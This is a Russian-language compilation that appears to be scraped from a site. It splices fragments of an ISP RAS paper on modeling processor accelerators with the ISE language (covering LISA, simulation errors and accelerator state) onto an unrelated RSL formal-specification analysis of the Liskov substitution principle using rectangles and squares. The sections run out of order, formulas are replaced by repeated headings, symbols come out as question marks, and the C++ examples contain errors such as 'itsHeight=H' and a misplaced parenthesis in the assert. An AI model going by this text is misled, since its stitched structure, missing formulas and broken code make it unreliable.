    Язык LISA [21]-[22] разрабатывался в университете RWTH Aachen (Германия) изначально в качестве средства описания аппаратуры для генерации симуляторов. Первые результаты работ по проекту LISA были опубликованы в 1996 году. Первоначальной целевой архитектурой были DSP процессоры. К ключевым характеристикам LISA можно отнести подробное описание конвейера на уровне операций с возможностью задания зависимостей и блокировок. Конвейерные конфликты задаются явно. Каждая команда задается в виде набора операций, которые определяются как регистровые пересылки за время одного кванта синхронизации. Описание LISA состоит из двух основных частей: спецификации ресурсов и описания операций. Описание операций в свою очередь содержит следующие секции:

  • DECLARE (определение объектов и групп через другие объекты и операции - фактически правила грамматики).
  • CODING (описание бинарного кодирования операции).
  • SYNTAX (описание ассемблерного синтаксиса и параметров).
  • BEHAVIOR и EXPRESSION (описание поведения операции в виде кода на языке C/C++).
  • ACTIVATION (описание задержек (timings) и поведения конвейера).
  • К сожалению, отсутствует полная публичная спецификация языка LISA, вся информация взята из различных статей. Согласно [20], из всех представленных подходов только система на основе языка EXPRESSION предоставляет средства для описания акселераторов. Однако, она ориентирована только на проведение фазы DSE, в ней отсутствуют такие производственные компоненты как ассемблер, дисассемблер, отладчик.Кроме того, ни одна из систем не поддерживает динамическую настройку компонентов, так как все компоненты создаются специальными генераторами кода в виде исходного кода на C/C++ и необходимо использование внешних компиляторов для получения готовой кросс системы. Настройка обработки ошибок в ассемблере также не поддерживается указанными языками.

    Сообщения об ошибках

    2.3.3.1. Ошибки симуляции Число NS (см. 2.1.1.2) определяет максимальное количество параллельных команд в акселераторе. Симулятор генерирует ошибку, если процессор пытается выдать команду, когда нет свободных слотов.
    Другой механизм обнаружения ошибок выполнения основывается на использовании ресурсов (см. 2.1.2). Если в пределах одного такта один и тот же ресурс используется разными параллельно выполняющимися командами, симулятор генерирует ошибку выполнения.
    Для обеспечения CREW модели доступа к данным симулятор обнаруживает запись разными процессами в одну и ту же ячейку памяти и генерирует ошибку выполнения.
    2.3.3.2. Ошибки ассемблирования Для ограничений 2.3.2.2 и 2.3.2.3 пользователь может задавать специализированный текст сообщений об ошибке и критичность ошибки (warning или error). Существует возможность задавать как индивидуальные тексты для каждого ограничения, так и ссылаться на общую таблицу сообщений. Данный подход предоставляет пользователю возможность точной настройки диагностики ошибок ассемблирования с детализированными описаниями, что является необходимым условием промышленной эксплуатации кросс-системы.

    Состояние акселератора

    2.1.1.1. Память акселератора Ячейка памяти представляет собой набор двоичных переменных (далее битов), с возможными значениями 0 или 1. Число битов определяет разрядность ячейки. Набор из одной или более ячеек одинаковой разрядности образует область памяти. Набор из одной или более областей образует память. Память будем обозначать большой буквой S. Состояние ячейки памяти определяется набором конкретных значений всех ее битов. Состояние памяти определяется состоянием всех ячеек ее областей. Состояние памяти будем обозначать маленькой буквой s. Обозначим через N сумму разрядностей всех ячеек памяти S, тогда память может находиться в одном из 2N состояний. Множество состояний памяти будем обозначать {s}. Заметим, что это множество однозначно задается структурой памяти. Дескриптор структуры памяти Состояние акселератора представляет собой следующий набор чисел: число областей O и набор из O пар (Wi, Si), задающих разрядность Wi ячеек области и их количество Si.
    В нашей модели память системы состоит из памяти основного процессора SP, разделяемой памяти SS и локальных памятей акселераторов Sa:
    Состояние акселератора, - число акселераторов
    Рассмотрение памяти процессора не принципиально для данной статьи, так как акселератор имеет доступ только к разделяемой и своей локальной памяти. Пара из этих памятей формирует полную память акселератора:
    SA={SS,Sa}
    Множество возможных состояний памяти акселератора обозначим как {S}A={S}Sx{S}a. Каждая область в локальной и разделяемой памяти характе-ризуется скоростью доступа - числом, означающим, сколько тактов проходит после записи в ячейку этой области, прежде чем измененное значение может быть прочитано; до этого момента при чтении считывается старое значение.
    Обычно в памяти акселератора можно выделить следующие области:
  • Набор из одной или более памятей данных
  • Набор из одного или более регистровых файлов
  • Одиночные регистры
  • 2.1.1.2. Управляющее состояние Акселератор имеет фиксированное количество управляющих слотов, совокупность которых обозначается pA. Каждый слот имеет номер, который далее будет отождествляться с соответствующим слотом.
    Каждый слот Li представляет собой пару целочисленных переменных (полей): поле номера команды nf и поле состояния команды t. Множество значений поля команды {nf} конечно. Ноль всегда принадлежит {nf}. Существует взаимно однозначное соответствие между {nf}\0 и множеством дескрипторов команд, определение которого будет дано ниже. Поэтому мы будем отождествлять номер Состояние акселератора и соответсвующий дескриптор f. Множество значений поля состояния команды есть натуральные числа (включая 0). Состояние слота с номером n обозначается ln=(nf,t) и определяется значениями полей этого слота. Множество возможных состояний слота {l}n={nf}xN. Слот в состоянии (0, 0) называется свободным, в ином случае активным. Управляющим состоянием p акселератора называется совокупность состояний всех его управляющих слотов. Множество управляющих состояний акселератора обозначим {p}A={l}NE, где Ns число слотов акселератора. Активные слоты соответствуют выполняющимся командам акселератора, число управляющих слотов задает максимальное количество параллельно выполняющихся команд. В состоянии активного слота значение поля номера команды задает выполняющуюся команду, а значение поля состояния команды соответствует количеству тактов, прошедших с начала выполнения этой команды.

    2.1.1.3. Состояние акселератора Состояние акселератора a задается парой из состояния памяти и управляющего состояния: a={s, p}. Множество состояний акселератора обозначим как {a}A={S}Ax{p}A.

    Элементом состояния акселератора называется любая ячейка памяти акселератора или любой управляющий слот. Состоянием элемента называется соответственно состояние ячейки или слота. Параллельной композицией функций ?1,?2,...,?n (заданных на множестве состояний акселератора) назовем функцию ? = ?1?2...?n(также заданную на множестве состояний акселератора), получаемую следующим образом: пусть Состояние акселератора множество всех элементов состояния акселератора, Ai - множество элементов, состояние a? которых было изменено функцией Состояние акселератора .

    Если пересечение всех Ai,i=1..n не пустое множество, то значение функции ? не определено.В ином случае значение ? задается следующим образом:

    Состояние акселератора , здесь a`? и a`? - новое и старое состояние элемента соответственно


    Средства описания конкретных моделей акселераторов

    Для задания конкретной модели акселератора необходимо определить следующие параметры, множества и функции:
    Средства описания конкретных моделей акселераторов
    Соответствующие определения были даны в 2.1.1 и 2.1.2, где также было показано, что они однозначно задают все элементы абстрактной модели: Средства описания конкретных моделей акселераторов
    Для описания конкретных моделей акселераторов в ИСП РАН был разработан язык спецификации ISE (Instruction Set Extension). Кроме собственно спецификации соответствующих элементов конкретной модели акселератора (см. выше), в язык также входят средства описания дополнительной информации об ассемблерном синтаксисе команд акселератора, отображении ассемблерных команд в машинные коды и описание форматов для визуализации областей памяти в отладчике. Модель акселератора далее будет отождествляться со спецификацией этой модели на языке ISE.

    В статье рассматривается задача моделирования

    В статье рассматривается задача моделирования расширений процессора в виде акселераторов (сопроцессоров) для автоматической настройки инструмен-тария кросс-разработки для поддержки этих расширений. Под инструмен-тарием кросс-разработки (кросс-системой) понимается набор программных компонентов (ассемблер, компоновщик, симулятор, отладчик и профилиро-вщик) для разработки прикладных программ с использованием хост-машины, отличной от целевой аппаратуры. Под поддержкой расширений кросс-системой подразумевается ассемблирование, потактовая симуляция и отладка прик-ладных программ, содержащих команды, не известные на этапе построения основного инструментария (реализуемых специфическими для пользователя акселераторами). Рассматриваемый подход основан на предоставлении пользо-вателю возможности описать модели акселераторов на разработанном языке спецификации с последующим использованием этих моделей для настройки компонентов кросс-системы.
    Данная задача возникает в связи с тем, что многие современные аппаратные решения строятся на основе использования стандартного процессорного ядра со специализированными расширениями в виде акселераторов. Часть системы команд ядра зарезервирована для команд обращения к интерфейсу запуска инструкций акселераторов. Однако семантика реальных действий и вычис-лений, которые инициируют такие команды, определяется конкретными акселераторами и не зависит от основного процессора. Производитель ядра и производители акселераторов могут быть разными компаниями, при этом инструментарий кросс-разработки от производителя основного процессора должен уметь поддерживать неизвестные для него расширения аппаратуры, которые создаются заказчиками. В данной работе под расширениями процессора понимается добавление акселераторов, которые могут вводить в систему новые элементы памяти (регистры, памяти данных) и определять семантику команд запуска инструкций акселераторов. Аппаратура на базе основного процессора с акселераторами представляется для прикладного программиста как вычислительная система с единой системой команд и одной программой.
    Память системы состоит из памяти основного процессора, разделяемой памяти и локальных памятей акселераторов.
    Для выделения класса поддерживаемых акселераторов и интерфейса с процессором была разработана абстрактная математическая модель, позво-ляющая моделировать состояние и поведение широкого класса акселераторов с потактовой точностью. Для описания конкретных моделей, в рамках данной абстрактной, предложен язык спецификации (ISE), разработаны средства визуального редактирования спецификаций на этом языке и средства анализа и выявления ошибок в спецификациях. Реализован подход интерактивной пере-настройки кросс-системы, заключающийся в настройке компонентов (ассемблер, дисассемблер, симулятор, отладчик) на основании интерпретации описаний моделей акселераторов. Система используется в коммерческой эксплуатации, в ней успешно реализованы модели реальных акселераторов.
    Статья состоит из введения, трех глав и заключения. В первой главе описы-вается подход к моделированию акселераторов, вводится абстрактная модель акселератора и средства описания конкретных моделей на языке ISE. Во второй главе содержится описание технологии интерактивной перенастройки кросс-системы для поддержки заданных пользователем моделей акселератов. Третья глава содержит краткий обзор смежных работ. В заключении приводятся практические результаты, полученные при эксплуатации разработанной системы. Приводится план будущих направлений развития темы.

    В данной статье представлена технология

    В данной статье представлена технология динамической настройки кросс-системы для поддержки ассемблирования, симуляции и отладки программ, содержащих команды, неизвестные на этапе построения основного инструмен-тария. Семантика и синтаксис этих команд определяются конкретными акселе-раторами, создаваемыми пользователями при построении специфической конфигурации системы "процессор + акселераторы" и неизвестными производителю основного процессора (и соответственно кросс-системы).
    Для решения этой задачи была разработана абстрактная модель поддерживаемых акселераторов и интерфейса с процессором, охватывающая широкий спектр возможной аппаратуры. Предложенный язык спецификации ISE позволяет пользователям описывать спецификации конкретных акселераторов в рамках этой абстрактной модели. Созданные файлы спецификаций регистрируются в настройках интегрированной среды при описании конфигурации системы (см. 3.1). При этом компоненты кросс- инструментария настраиваются в соответствии с этими спецификациями динамически (in-run-time). В результате прикладные программисты получают возможность писать и отлаживать программы с использованием новых команд. Спецификации и конфигурация акселераторов в системе могут многократно меняться в рамках одного сеанса интегрированной среды, в том числе с помощью визуальных средств редактирования, анализа и верификации.
    На основе описанной технологии в рамках коммерческого проекта в ИСП РАН была реализована настраиваемая кросс-система для DSP процессора заказчика (поддерживающего акселераторы). Авторам известно, что с помощью этой сис-темы пользователями были созданы рабочие модели реальных акселераторов:
    a. Быстрого преобразования Фурье
    b. Алгоритмов эхо подавления
    c. Операций с комплексными числами
    d. Операций кодирования видео
    e. Операций цифровой фильтрации звука Пиковая производительность симулятора центрального процессора (на хост-машине PIII-1000MHz) в рассматриваемой системе составляет порядка 10 миллионов тактов в секунду. При использовании конфигурации с одним акселератором (эхо подавления) производительность составила порядка 1 миллиона тактов в секунду (при этом симулируются процессор и акселератор, работающие параллельно), что обусловлено большими потерями на синхро-низацию процессов выполнения процессора и акселератора.
    Дальнейшие наши работы в этой области направлены на расширение языка ISE и соответствующих утилит для поддержки моделирования полной системы, включая описание центрального процессора. Отдельное внимание уделяется увеличению производительности симулятора за счет использования JIT технологий и использования знаний о конкретной программе. Также предполагается расширить возможности системы для настройки компилятора с языка высокого уровня для генерации кода с учетом наличия акселераторов (в настоящее время команды акселератора на уровне языка C используются вручную в виде ассемблерных вставок).

    Средства разработки приложений

    Определения

    Начнем с определения термина типа. За основу возмем определение термина абстрактный тип данных (АТД), данное Бертраном Мейером (Bertrand Meyer) []. Спецификация АТД состоит из четырех разделов:
  • типы;
  • сигнатуры функций;
  • аксиомы функций и типов;
  • предусловия применения частично определенных функций. Далее будем придерживаться следующих соглашений:
  • саму спецификацию будем называть типом;
  • доменом типа будем называть множество всех величин данного типа, то есть величин, удовлетворяющих спецификации;
  • в разделе типы (по Мейеру) будут содержаться обозначение домена типа, аксиомы для его описания, а также, возможно, спецификации простых вспомогательных типов;
  • в разделе функций будут вводиться сигнатуры функций, предусловия и постусловия применения функций; из всего набора функций выделяются функции-генераторы (generator, на выходе имеется обозначение домена типа) и функции-наблюдатели (observer, на выходе функции отсутствует обозначение домена типа); особенно важную роль играют функции, не выводимые из других функции;
  • в разделе аксиом будут определяться аксиомы, описывающие попарное применение функций-генераторов и функций-наблюдателей. В простых и привычных случаях , когда это не приводит к путанице, типом можно называть домен типа. Например, можно называть типом прямое произведение двух множеств A ? B, подразумевая, что имеется спецификация функций проекции. Обозначение A ? B, мыслимое без функций проекции – это домен типа, A ? B, мыслимое вместе с аксиомами функций проекции, – это тип. Далее, уточним следующее определение Мейера []: Класс – это абстрактный тип данных, поставляемый с возможно частичной реализацией. Спецификация (то есть тип), в которой произведена замена аксиом, описывающих попарное поведение функций, на частично определенные функции, будем называть аппликативной реализацией. Определение класса на языке программирования L, удовлетворяющее требованиям спецификации, будет называть (обычно, императивной) L-реализацией.

    нарушения принципа подстановки

    Специфицируем на RSL аппликативную реализацию С++-функции LSVP, приводимой во введении для иллюстрации нарушения принципа подстановки. Спецификация этой функции могла бы выглядеть следующим образом: ---- File:./rsl/v.rsl AS scheme V = extend AS with class value LSPV : Figure >< (Figure >< UReal -> Figure) -> Unit LSPV (r, setWidth) is let f = SetHeight(setWidth(r,5.0),4.0), w = GetWidth (f), h = GetHeight(f) in if ( h * w = 20.0) then skip else chaos end end -- pre -- (all h: UReal:- GetWidth(SetHeight(setWidth(r,5.0), h)) = GetWidth(setWidth(r,5.0))) end ---- End Of File:./rsl/v.rsl Аппликативная реализация функции LSPV делает точно то же, что и C++-реализация. Функция последовательно применяет функции setWidth и SetHeight к полученной на вход переменной r: Figure и, если произведение высоты r на длину r полученного прямоугольника не равняется 20, ведет себя хаотическим, неопределенным образом (chaos). Чтобы подчеркнуть наличие ошибки, в комментарии написано предусловие этой частично определенной функции LSPV, хотя в сигнатуре она описана как полностью определенная. Честно говоря, доводы Мартина насчет того, что его пример демонстрирует реальную проблему, выглядят не слишком убедительно: So here is the real problem: Was the programmer who wrote that function justified in assuming that changing the width of a Rectangle leaves its height unchanged? Clearly, the programmer of LSPV made this very reasonable assumption. Здесь имеется реальная проблема: Оправданным ли образом программист, написавший эту функцию, полагал, что при изменении длины прямогульника его высота остается неизменной? Яcно, что программист функции LSPV сделал вполне осмысленное предположение. То есть Мартин считает, что этого программиста осуждать не за что. И это действительно так, но здесь нет никакой проблемы. Программист, использующий класс Rectangle, должен делать только те предположения об используемом классе, которые соответствуют спецификации класса. Формально говоря, функция LSPV при получении на вход переменной a: Square сделала то, что от нее и требовалось. Поэтому нельзя говорить об изменении поведения LSPV. Вот если бы была написана хотя бы частичная спецификация этой функции, если хотя бы было указано, что LSPV – это всюду определенная функция (LSPV : Rectangle > Unit), а при получении a: Square она бы повисла, то есть оказалась бы не всюду определенной, то это была бы действительно проблема несоответствия реализации спецификации. Наличие аппликативной реализации и C++ -реализации, приводящих к одинаковым трудностям, говорит о том, что дело здесь не в языке реализации.

    Спецификации типов примера

    Вопросы единственности типов, полноты типов (в смысле полноты системы аксиом), противоречивости типов (в смысле противоречивости системы аксиом), единственности реализации, оптимальности спецификации и реализаций, синтаксического сахара RSL и др. здесь не рассматриваются. Попытаемся специфицировать типы описанных выше С++-реализаций Rectangle и Square на языке формальных спецификаций RSL в соответствии с методом, принятым в RDG. Дополнительный тип UReal (домен которого включает все положительные вещественные значения) вводится, чтобы функции были всюду определены, и не нужно было заниматься предусловиями.

    Ссылки

  • Бертран Мейер. Основы объектно-ориентированного программирования. Статические структуры: классы.
  • Бертран Мейер. Основы объектно-ориентированного программирования. Абстрактные типы данных (АТД).
  • А.Г. Пискунов. The RAISE Method Group: Алгебраическое проектирование класса , 2007.
  • Bertrand Meyer. Основы объектно-ориентированного программирования. Техника наследования.
  • Robert C.Martin. The Liskov Substitution Principle. C++ Report, March 1996.
  • Barbara H. Liskov, Jeannette M. Wing. A behavioral notion of subtyping. ACM Transactions on Programming Languages and Systems, Volume 16 Issue 6, Nov. 1994.

    Тип Rectangle

    Аксиомы gw_sw и gh_sh очевидны: что положил, то и получил назад. Аксиомы gw_sh и gh_sw означают независимость высоты от ширины в значениях множества Figure, соответствующих спецификации Rectangle. Например, для любого f: Figure значения, возвращаемые функцией GetWidth не зависят от применения функции SetHight. ---- File:./rsl/rectangle.rsl scheme Rectangle = class type Figure, UReal = {| r: Real :- r > 0.0 |} value SetWidth : Figure >< UReal -> Figure, SetHeight : Figure >< UReal -> Figure, GetWidth : Figure -> UReal, GetHeight : Figure -> UReal axiom [gw_sw] all w: UReal, f: Figure:- GetWidth(SetWidth(f, w)) = w, [gw_sh] all h: UReal, f: Figure:- GetWidth(SetHeight(f, h)) = GetWidth(f), [gh_sh] all h: UReal, f: Figure:- GetHeight(SetHeight(f, h)) = h, [gh_sw] all w: UReal, f: Figure:- GetHeight(SetWidth(f, w)) = GetHeight(f) end ---- End Of File:./rsl/rectangle.rsl Аппликативная реализация типа Rectangle может иметь следующий вид: ---- File:./rsl/ar.rsl scheme AR = class type Figure = UReal >< UReal, UReal = {| r: Real :- r > 0.0 |} value SetWidth : Figure >< UReal -> Figure SetWidth ((h, w), v) is (h, v), SetHeight : Figure >< UReal -> Figure SetHeight ((h, w), v) is (v, w), GetWidth : Figure -> UReal GetWidth (h, w) is w, GetHeight : Figure -> UReal GetHeight (h, w) is h end ---- End Of File:./rsl/ar.rsl Домен типа Rectangle (множество Figure) объявляется как прямое произведение UReal ? UReal, функции GetWidth и GetHeight – проекции.

    Тип Square

    В типе Square, предположительно являющемся подтипом Rectangle, аксиомы gw_sh и gh_sw имеют смысл, строго противоположный смыслу аналогичных аксиом в Rectangle: ---- File:./rsl/square.rsl scheme Square = class type Figure, UReal = {| r: Real :- r > 0.0 |} value SetWidth : Figure >< UReal -> Figure, SetHeight : Figure >< UReal -> Figure, GetWidth : Figure -> UReal, GetHeight : Figure -> UReal axiom [gw_sw] all w: UReal, f: Figure:- GetWidth(SetWidth(f, w))= w, [gw_sh] all h: UReal, f: Figure:- GetWidth(SetHeight(f, h)) = h, [gh_sh] all h: UReal, f: Figure:- GetHeight(SetHeight(f, h)) = h, [gh_sw] all w: UReal, f: Figure:- GetHeight(SetWidth(f, w)) = w end ---- End Of File:./rsl/square.rsl Вот аппликативная реализаци типа Square, записанная в форме наследования: ---- File:./rsl/as.rsl AR scheme AS = extend hide SetWidth, SetHeight in AR with class value SetWidth : Figure >< UReal -> Figure SetWidth ((h, w), v) is (v, v), SetHeight : Figure >< UReal -> Figure SetHeight ((h, w), v) is (v, v) end ---- End Of File:./rsl/as.rsl В новом классе AS "наследуется" (extend) все из класса AR, но при этом "прячутся" (hide) родительские функции SetWidth, SetHeight и объявляются свои.

    Уточнение терминов

    Под термином выделение типа (subtyping) будем понимать добавление к супертипу непротиворечивых уточнений. Слово уточнение здесь означает, что все предыдущие свойства типа должны сохраняться. Система аксиом для домена и функций должна оставаться непротиворечивой. Домен типа не может расшириться. Функции могут быть инкапсулироваться (удаляться из описания), добавляться или переопределяться (т.е. в спецификации подтипа может быть удалена некоторая функция супертипа и добавлена своя с той же сигнатурой), но аксиомы супертипа должны выполняться. То есть требуется уточнение спецификации типа в соответствии с принципами проектирования по контракту []. В нашем случае предположим, что тип Square является подтипом типа Rectangle. Тогда в типе-потомке должны одновременно выполняться обе версии аксиом gw_sh, одна из Rectangle: [gw_sh] all h: UReal, f: Figure:- GetWidth(SetHeight(f, h)) = GetWidth(f), вторая из Square: [gw_sh] all h: UReal, f: Figure:- GetWidth(SetHeight(f, h)) = h То есть в совокупности мы получаем следующую аксиому:    all h: UReal, f: Figure:-            h =   GetWidth(SetHeight(f, h))   /\                  GetWidth(SetHeight(f, h)) = GetWidth(f) Отсюда следует аксиома: all h: UReal, f: Figure:-  h  = GetWidth(f) Однако если мы возьмем в UReal некоторое значение w, такое что w ? h, то по аксиоме gw_sw получим: h = GetWidth(f) = GetWidth(SetWidth(f1, w)) = w Полученное противоречие показывает, что две разные версии аксиом gw_sh не могут выполняться вместе. Отсюда следует, что нет никакой возможности в принципе считать Square подтипом Rectangle. Их можно считать "братьями", являющимися подтипами некоторого неполного, неоднозначного типа. К этому же заключению можно придти на основе того наблюдения, что можно написать С++-реализацию Square, от которой унаследовать С++-реализацию Rectangle. Было бы очень странно иметь в языке возможность наследования супертипа от подтипа. В заключение специфицируем неполностью определенный тип с удаленными аксиомами gw_sh и gh_sw, являющийся настоящим родителем обоих классов: ---- File:./rsl/realdad.rsl scheme RealDad = class type Figure, UReal = {| r: Real :- r > 0.0 |} value SetWidth : Figure >< UReal -> Figure, SetHeight : Figure >< UReal -> Figure, GetWidth : Figure -> UReal, GetHeight : Figure -> UReal axiom [gw_sw] all w: UReal, f: Figure:- GetWidth(SetWidth(f, w)) = w, [gh_sh] all h: UReal, f: Figure:- GetHeight(SetHeight(f, h)) = h end ---- End Of File:./rsl/realdad.rsl С++-реализация этого типа может выглядеть следующим образом: ---- File:./rsl/realdad.cpp class RealDad{ public: virtual void SetWidth(double w)=0; virtual void SetHeight(double h)=0; double GetHeight() const {return itsHeight;} double GetWidth() const {return itsWidth;} private: double itsWidth; double itsHeight; }; ---- End Of File:./rsl/realdad.cpp Оба класса Square и Rectangle должны наследоваться от класса RealDad, который и следует использовать для написания полиморфных функций вроде LSPV в качестве типа формального параметра. Кроме того, нужно сказать, что принцип подстановки Лисков в формулировке 1994 года [] выглядит лучше: Let φ(x) be a property provable about objects x of type T. Then φ(y) should be true for objects y of type S where S is a subtype of T. Пусть φ(x) – это свойство, доказываемое для объектов x типа T. Тогда свойством φ(x) должны обладать объекты y типа S, где S является подтипом T.

    Принцип подстановки Лисков помогает понять

    Принцип подстановки Лисков помогает понять суть термина suptyping – выделение подтипа, а статья Роберта Мартина [] показывает некоторое несоответствие между наследованием в языке C++ и выделением подтипа. В этой статье принцип формулируется следующим образом: If for each object o1 of type S there is an object o2 of type T such that for all programs P defined in terms of T, the behavior of P is unchanged when o1 is substituted for o2 then S is a subtype of T. Перевод может звучать как-то так: Если для каждого объекта o1 типа S существует объект o2 типа T, такой что любая программа P, определенная в терминах T, не изменяет своего поведения при подстановке объекта o1 вместо объекта o2, то тип S является подтипом T. Эта формулировка допускает достаточно неоднозначную трактовку. Чтобы понять, что имеется в виду, рассмотрим пример из статьи с прямоугольниками и квадратами. Определим родительский класс Rectangle: ---- File:./rsl/rectangle.cpp class Rectangle{ public: virtual void SetWidth(double w){itsWidth=w;} virtual void SetHeight(double h) {itsHeight=H;} double GetHeight() const {return itsHeight;} double GetWidth() const {return itsWidth;} private: double itsWidth; double itsHeight; }; ---- End Of File:./rsl/rectangle.cpp и наследуем от него класс Square: ---- File:./rsl/square.cpp class Square : Rectangle { public: virtual void SetWidth(double w); virtual void SetHeight(double h); }; void Square::SetWidth(double w){ Rectangle::SetWidth(w); Rectangle::SetHeight(w); } void Square::SetHeight(double h){ Rectangle::SetHeight(h); Rectangle::SetWidth(h); } ---- End Of File:./rsl/square.cpp Автор статьи не без основания утверждает, что в приведенном примере в фукнции LSPV таки нарушается принцип подстановки: ---- File:./rsl/violation.cpp void LSPV(Rectangle& r){ r.SetWidth(5); r.SetHeight(4); assert(r.GetWidth() * r.GetHeight()) == 20); } ---- End Of File:./rsl/violation.cpp Можно было бы возразить автору, что принцип подстановки плохо сформулирован, что не определен термин замена (хотя в данном примере все понятно: в программу передается ссылка на объект подкласса), что непонятен термин поведение программы и так далее. Но попробуем проанализировать пример с точки зрения методов RDG [] и придать точный теоретико-множественный смысл этим и некоторым другим терминам.

    

        Инновации: Менеджмент - Моделирование - Софт